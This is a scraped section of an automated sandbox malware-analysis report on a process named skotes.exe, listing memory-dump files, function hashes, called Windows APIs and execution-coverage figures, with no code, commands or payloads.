Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: dd05b4bd6bc9a135e851fbdd7a7336a55597385e22180c520d6f357ff6532f2f
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 8FB1F232D042C59FDB25CF2AC881BBEBBA5EF45350F24416AF855EB241D6399D03DBA0

Function 00FCBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00FCBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00FCBBE4
_xtime_get.LIBCPMT ref: 00FCBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00FCBC13

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 1e25fd00b6645ea3f3f10a8d89662976f3497dfa54fee0d2e74eff1423a5f977
Instruction ID: 632d9fab2a9d2fe0873d983d54fb034023beb8ec72c64e01e7aef8ded841783b
Opcode Fuzzy Hash: 1e25fd00b6645ea3f3f10a8d89662976f3497dfa54fee0d2e74eff1423a5f977
Instruction Fuzzy Hash: AF211D75E0011AAFDF01EBA4DE82EBEB7B9EF48710F11005DF505A7251DB399D01ABA1

Analysis Process: skotes.exePID: 6512, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1924
Total number of Limit Nodes:	11

Executed Functions

Function 00FE652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00FE652A,?,?,?,?,?,00FE7661), ref: 00FE6566

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 5877166d9a6720c4b5f741aa3485b87e4ea575a463861e82f74f1bd6e1da9128
Instruction ID: d1ff687b246b482bab1ffb7caa354fe4f5bfab9c2078ca7e816b42a604023cfd
Opcode Fuzzy Hash: 5877166d9a6720c4b5f741aa3485b87e4ea575a463861e82f74f1bd6e1da9128
Instruction Fuzzy Hash: 9FE08C3114128CAECE257B1ACD09A483BAAEB21794F081810F8048A221CB29FD92E680

Function 00FB9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 313f597e6aa793325c30933894da1ba64b640d9e171979af60a7c085197606ec
Instruction ID: 884fd34d870db70568b64a9ae7604f5841fb72906c070509526f3dbda3e50aa6
Opcode Fuzzy Hash: 313f597e6aa793325c30933894da1ba64b640d9e171979af60a7c085197606ec
Instruction Fuzzy Hash: AF314C71A042019BEB089B79DD85BEDBB62EBC1320F208218E1149B2D6C7795980AB51

Function 00FB9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 34c1163b119c0985f37205c0eafa6fc301d21867009f98e4e4863f4a161c5bef
Instruction ID: 6728b598fb4e3d470947cb754087caa1b61a3ca1010eaf9d110e70459b20e7bc
Opcode Fuzzy Hash: 34c1163b119c0985f37205c0eafa6fc301d21867009f98e4e4863f4a161c5bef
Instruction Fuzzy Hash: 98315B31B042049BFB18AB79DD85BEDB762EF85320F20831DE014DB2D5D77A9980BB52

Function 00FBA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
